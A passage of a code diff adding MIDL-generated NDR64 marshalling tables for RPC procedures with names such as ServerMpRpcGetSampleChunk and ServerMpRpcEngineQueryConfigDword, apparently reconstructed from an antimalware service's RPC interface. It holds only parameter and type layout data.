*/ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1179 +}; + +static const __midl_frag1173_t __midl_frag1173 = +{ +/* Proc124_ServerMpRpcGetSampleChunk */ + { + /* Proc124_ServerMpRpcGetSampleChunk */ /* procedure Proc124_ServerMpRpcGetSampleChunk */ + (NDR64_UINT32) 21889088 /* 0x14e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1178, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1169_t __midl_frag1169 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1164_t __midl_frag1164 = +{ +/* Struct_2798_t */ + { + /* Struct_2798_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2798_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */, + 0, + 0, + &__midl_frag1169, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1163_t __midl_frag1163 = +{ +/* *Struct_2798_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1164 +}; + +static const __midl_frag1162_t __midl_frag1162 = +{ +/* **Struct_2798_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1163 +}; + +static const __midl_frag1160_t __midl_frag1160 = +{ +/* Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ + { + /* Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ /* procedure Proc123_ServerMpRpcSampleHeaderGetSampleDetails */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1162, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1156_t __midl_frag1156 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 225 /* 0xe1 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 1 /* 0x1 */ +}; + +static const __midl_frag1155_t __midl_frag1155 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1156 +}; + +static const __midl_frag1154_t __midl_frag1154 = +{ +/* Proc122_ServerMpRpcSampleHeaderClose */ + { + /* Proc122_ServerMpRpcSampleHeaderClose */ /* procedure Proc122_ServerMpRpcSampleHeaderClose */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 60 /* 0x3c */, + (NDR64_UINT32) 100 /* 0x64 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 224 /* 0xe0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1156, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1142_t __midl_frag1142 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 160 /* 0xa0 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 3 /* 0x3 */ +}; + +static const __midl_frag1141_t __midl_frag1141 = +{ +/* *struct _NDR64_POINTER_FORMAT */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1142 +}; + +static const __midl_frag1140_t __midl_frag1140 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 65 /* 0x41 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 2 /* 0x2 */ +}; + +static const __midl_frag1139_t __midl_frag1139 = +{ +/* Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ + { + /* Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ /* procedure Proc120_ServerMpRpcSampleHeaderQueueQueryNotification */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 132 /* 0x84 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag1140, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1142, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1130_t __midl_frag1130 = +{ +/* Proc119_ServerMpRpcSampleHeaderQueueCreate */ + { + /* Proc119_ServerMpRpcSampleHeaderQueueCreate */ /* procedure Proc119_ServerMpRpcSampleHeaderQueueCreate */ + (NDR64_UINT32) 524355 /* 0x80043 */, /* auto handle */ /* IsIntrepreted, HasReturn */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 172 /* 0xac */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 0 /* 0x0 */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag36, + { + /* arg_3 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag1288, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1122_t __midl_frag1122 = +{ +/* Proc118_ServerMpRpcEngineQueryConfigDword */ + { + /* Proc118_ServerMpRpcEngineQueryConfigDword */ /* procedure Proc118_ServerMpRpcEngineQueryConfigDword */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1112_t __midl_frag1112 = +{ +/* Proc117_ServerMpRpcIsRtpAutoEnable */ + { + /* Proc117_ServerMpRpcIsRtpAutoEnable */ /* procedure Proc117_ServerMpRpcIsRtpAutoEnable */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1100_t __midl_frag1100 = +{ +/* *Struct_1232_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag227 +}; + +static const __midl_frag1098_t __midl_frag1098 = +{ +/* **Struct_1232_t */ + { + /* **Struct_1232_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_1232_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1298 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_1232_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag227 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1100 + } +}; + +static const __midl_frag1097_t __midl_frag1097 = +{ +/* **Struct_1232_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1098 +}; + +static const __midl_frag1096_t __midl_frag1096 = +{ +/* ***Struct_1232_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1097 +}; + +static const __midl_frag1093_t __midl_frag1093 = +{ +/* Proc115_ServerMpRpcGetCallistoDetections */ + { + /* Proc115_ServerMpRpcGetCallistoDetections */ /* procedure Proc115_ServerMpRpcGetCallistoDetections */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1096, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 